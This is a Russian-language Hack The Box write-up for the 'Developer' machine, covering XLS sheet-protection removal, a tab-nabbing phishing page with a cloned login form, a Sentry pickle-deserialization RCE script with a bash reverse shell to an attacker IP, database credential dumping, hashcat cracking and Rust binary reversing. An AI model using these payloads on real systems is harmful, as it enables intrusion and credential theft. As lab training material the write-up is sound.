Хакер - HTB Developer. Ломаем сайт на Django и реверсим приложение на Rust
hacker_frei
RalfHacker
Содержание статьи
- Разведка. Сканирование портов
- Точка входа
- XLS sheet protect unlock
- Tab Nabbing
- Точка опоры
- Sentry RCE
- Продвижение
- Локальное повышение привилегий
В этой статье я покажу, как взламывают сайты на Django. Кроме того, мы снимем пароль с файла XLS и применим фишинговую атаку Tab Nabbing. Для повышения привилегий разберем алгоритм программы на Rust. Все это — чтобы пройти сложную машину Developer с площадки Hack The Box.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.103 developer.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Находим два открытых порта: 22, на котором работает SSH, и 80, отвечающий за веб.
Справка: брутфорс учеток
Поскольку вначале у нас нет учетных данных, нет и смысла изучать службы, которые всегда требуют авторизации (например, SSH). Единственное, что мы можем делать здесь, — это перебирать пароли брутфорсом, но у машин с HTB почти всегда есть другое прохождение. В жизни таких вариантов может не быть, к тому же имеются шансы подобрать пароль или получить его при помощи социальной инженерии.
Начинаем, конечно же, с веба!

Нас встречает сайт какой‑то CTF-площадки. Просмотрев его содержимое, обнаружим возможность регистрации и авторизации, но, что примечательно, нет ни одного файла на PHP. Возможно, это фреймворк на Python? Чтобы проверить догадку, просканируем скрытые директории в корневом каталоге сайта.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-u— URL;-fc— исключить из результата ответы с кодом 403.
Команда получается следующая:
ffuf -u http://developer.htb/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt

В выводе будет очень много каталогов, которые возвращают код 301 — редирект. Если перейти по любому из них, то нас встретит админка фреймворка Django.

Больше ничего не найдя, регистрируемся на первом сайте.

На самом сайте лежит по два‑три таска из разных категорий, но мой интерес привлекла страница с настройками профиля пользователя. Сканируем текстовые поля, но это не дает результата. Может, попробуем сдать любой из тасков? Это может открыть что‑то новое. Я решил просмотреть задание на форензику phished_credentials. Как сказано в условии задания, где‑то в файле есть пароль.
ТОЧКА ВХОДА
XLS sheet protect unlock
Открываем файл и видим скрытый столбец E. Раздвинуть столбцы не выходит, так как лист документа защищен паролем от изменения.

Но такую защиту можно легко снять. Откроем как архив и найдем в нем настройки для нужного листа. Так как тут он только один, нам нужен файл sheet1.xml.

В этом файле найдем и удалим следующую строку. Это поле sheetProtection.
<sheetProtection algorithmName="SHA-512" hashValue="Y4Ko7kZUKStIxaVGWEtuMeRdnCiN7O3D8qZtKdo/2jP7WE6yzKQXUcSWQ/E0OrqHCzhOBFX+t8Db5Pxaiu+N1g==" saltValue="EoiHQklf0FagPs+iW0OzkA==" spinCount="100000" sheet="1" objects="1" scenarios="1"/>

Пересохранив файл и открыв документ, обнаруживаем, что защиты больше нет. Раздвигаем столбец E и получаем флаг для площадки.

Осталось передать его в форму на сайте.

После обновления страницы ее вид немного меняется, вместо кнопки сдачи ответа появляется кнопка отправки решения.

Причем не через загрузку файла, а указывается URL страницы.

Tab Nabbing
Я открыл локальный веб‑сервер Python 3 (команда python3 -m http.server 80) и отправил ссылку http://10.10.14.59/writeup.html. В логах веб‑сервера видим обращение к указанной странице. Это место для теста!

Ко всему прочему решение отображается на странице профиля.

Вот только если попытаться просмотреть его, оно откроется в новой вкладке. В исходном коде страницы находим атрибут target="_blank" в теге <a>.

Когда аргумент href тега <a> с атрибутом target="_blank" нам подконтролен и целевой пользователь может перейти по ссылке, есть шанс указать там фишинговый сайт. Как только пользователь нажмет ссылку, с помощью объекта window.opener мы перенаправляем его на наш вредоносный ресурс, который будет содержать клон легитимной страницы авторизации. Это должно заставить пользователя вбить свои учетные данные. Эта техника фишинга называется Tab Nabbing.
Создадим в каталоге веб‑сервера файл writeup.html со следующим содержимым.
<html>
<script>
if (window.opener) window.opener.parent.location.replace('http://10.10.14.59/login.html');
if (window.parent != window) window.parent.location.replace('http://10.10.14.59/login.html');
</script>
</html>
Этот код должен открыть страницу login.html на нашем сервере. Теперь клонируем страницу авторизации на сайте. Для этого я использую расширение SingleFile для браузера Firefox, позволяющее сохранить всю страницу в едином HTML-файле.
Сохраним файл как login.html и немного изменим его код. Указываем атрибуты action="auth.php" и method="get".

Теперь снова отправим решение задания и в логах веб‑сервера увидим его запрос, затем перенаправление на login.html и отправку учетных данных на auth.php.

Эти учетные данные позволяют авторизоваться в админке Django.

ТОЧКА ОПОРЫ
Пройдемся по разделам, чтобы извлечь всю полезную информацию. Тут мы можем получить список пользователей и сайтов.


Так как мы получили новое доменное имя, сразу добавим его в /etc/hosts. Теперь наша запись будет выглядеть так:
10.10.11.103 developer.htb developer-sentry.developer.htb
А на самом сайте Sentry нас встретит форма авторизации.

У нас есть пароль администратора одного сервиса, высока вероятность, что этот пароль подойдет и тут. Вопрос лишь в имени пользователя. Логин admin оказался неверным; если вписать полную почту admin@developer.htb или admin@developer.ctf, тоже ничего не получаем. Но у администратора указано имя James. Пробуем почту james@developer.htb и получаем доступ к сайту.

Внизу видим номер версии Sentry — 8.0.0. Это не самая новая, поэтому стоит поискать готовые эксплоиты. Так Google приводит нас на Exploit-DB, а точнее — к эксплоиту для версии 8.2.0.

Эксплоит отрабатывает, но ничего не дает.
python3 50318.py --url 'http://developer-sentry.developer.htb' -U 'jacob@developer.htb' -P 'SuperSecurePassword@HTB2021' -l 10.10.14.59 -p 4321

Поэтому пробуем вручную.
Sentry RCE
Sentry использует модуль pickle, нужный для сериализации и десериализации данных Python. Это может помочь добиться выполнения кода, но сначала нам нужен секретный ключ Django. Его можно получить, создав и удалив проект: Create Project → Add Project → Save Project → Project Setting → Remove Project.




И мы получим нужные конфигурации. Пролистаем до пункта SENTRY_OPTIONS и сохраним секретный ключ (параметр system.secret-key).

Имея секретный ключ, мы можем использовать следующий PoC для создания и сериализации объекта, который выполнит нужный нам код. Все, что нужно в нем изменить, — это значения SECRET_KEY и cookie. В качестве нагрузки используем реверс‑шелл /bin/bash -c "bash -i >& /dev/tcp/10.10.14.59/4321 0>&1".
#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os
SECRET_KEY='c7f3a64aa184b7cbb1a7cbe9cd544913'
cookie='.eJxrYKotZNQI5UxMLsksS80vSi9kimBjYGAoTs0rKaosZA5lKS5NyY_gAQoZRBnmmGUlBbq7FhVFcAEFSlKLS5Lz87MzU8FayvOLslNTQoXiE0tLMuJLi1OL4pMSk7NT81JClSDG6ZWWZOYU64Hk9VxzEzNzHIEsJ6gaXiR9mSnerKV6AOVwM6Y:1n8lto:4YBeYgMOt1ujubTsANFkmRr3fw4'
newContent = django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
def __reduce__(self):
return (os.system,('/bin/bash -c "bash -i >& /dev/tcp/10.10.14.59/4321 0>&1"',))
newContent['testcookie'] = PickleRce()
print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

Активируем на своем локальном хосте листенер.
Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
В таких случаях пригодится rlwrap — readline-оболочка, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива.
sudo apt install rlwrap
В качестве самого листенера при этом можно использовать широко известный netcat.
Команда будет следующей:
rlwrap -cAr nc -lvnp 4321
Вставляем новые cookie, обновляем страницу и в окне листенера получаем бэкконнект.

ПРОДВИЖЕНИЕ
Первым делом получаем удобную TTY-оболочку с помощью Python:
python -c 'import pty;pty.spawn("/bin/bash")'
При продвижении самый вероятный способ сменить рабочий контекст — это авторизоваться от имени другого пользователя. Так как у нас даже два сайта на хосте, нам стоит поискать учетные данные в их базах. Прежде чем шерстить базу, найдем учетные данные для подключения к этой базе. В случае с первым сайтом это файл /var/www/developer_ctf/developer_ctf/settings.py.


Теперь подключимся к базе c помощью psql — утилиты командной строки для работы с PostgreSQL.
psql postgresql://ctf_admin:CTFOG2021@localhost:5432/platform
После подключения взглянем на список таблиц, для этого используется команда \dt.

Нас интересует таблица auth_user, из которой получим логины и пароли.
select username,password from auth_user;

Но с этими учетными данными нигде залогиниться не получилось. Тогда изучим Sentry. Настройки для подключения к базе данных хранятся в файле /etc/sentry/sentry.conf.py.

Опять подключаемся к базе и просматриваем существующие таблицы.
psql postgresql://sentry:SentryPassword2021@localhost:5432/sentry
\dt

Вновь получаем учетные данные из таблицы auth_user.
select username,password from auth_user;

Сохраняем хеши в файл и отправляем на перебор с помощью hashcat.
hashcat -m 10000 hashes.txt rockyou.txt

Спустя несколько минут мы получаем один пароль, с которым удается авторизоваться по SSH.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Первым делом проверяем наиболее вероятные места повышения привилегий. Это могут быть настройки sudoers, приложения с битом SUID, прослушиваемые на локальном хосте порты. Нам везет с sudoers.
Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.

В настройках sudoers прописан привилегированный запуск пользовательского приложения /root/.auth/authenticator. Узнаем тип файла с помощью утилиты file.

Это исполняемый файл, который при запуске попросит пароль. Скачиваем файл на локальный хост:
scp karl@developer.htb:/root/.auth/authenticator ./
Закидываем его для анализа в любой удобный дизассемблер. На этот раз я решил попробовать Ghidra.
INFO
Подробнее о Ghidra:
- «Ghidra vs IDA Pro. На что способен бесплатный тулкит для реверса, созданный в АНБ»
- «Ghidra vs crackme. Обкатываем конкурента IDA Pro на примере решения хитрой крэкми с VM»
При поиске функции main я понял, что программа написана на языке Rust, а это усложняет анализ.

Открываем в декомпиляторе найденную функцию authentication::main и в ней находим точку, где запрашивается пароль.

Чуть ниже находим использование шифрования (crypto::aes::ctr), а именно алгоритм AES, режим CTR.

И еще ниже видим сообщение об успешной аутентификации.

Таким образом, введенная нами строка будет сравниваться с прообразом сохраненных в программе зашифрованных данных. Попробуем найти все параметры, необходимые для шифрования (строка, ключ, вектор инициализации), и расшифровать пароль. Из документации узнаем аргументы функции crypto::aes::ctr.

То есть сначала передается ключ, а потом вектор инициализации. Изменив имена переменных, легко найдем их в коде.

А нужная нам строка сохранена в переменной __ptr. Используя все данные и суперинструмент CyberChef, мы можем расшифровать данные и пароль.

Используем этот пароль в приложении. Проверка пройдена, нас просят указать ключ SSH (генерируем командой ssh-keygen).

Теперь мы можем авторизоваться с приватным ключом и забрать флаг рута.

Мы захватили машину и имеем над ней полный контроль!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei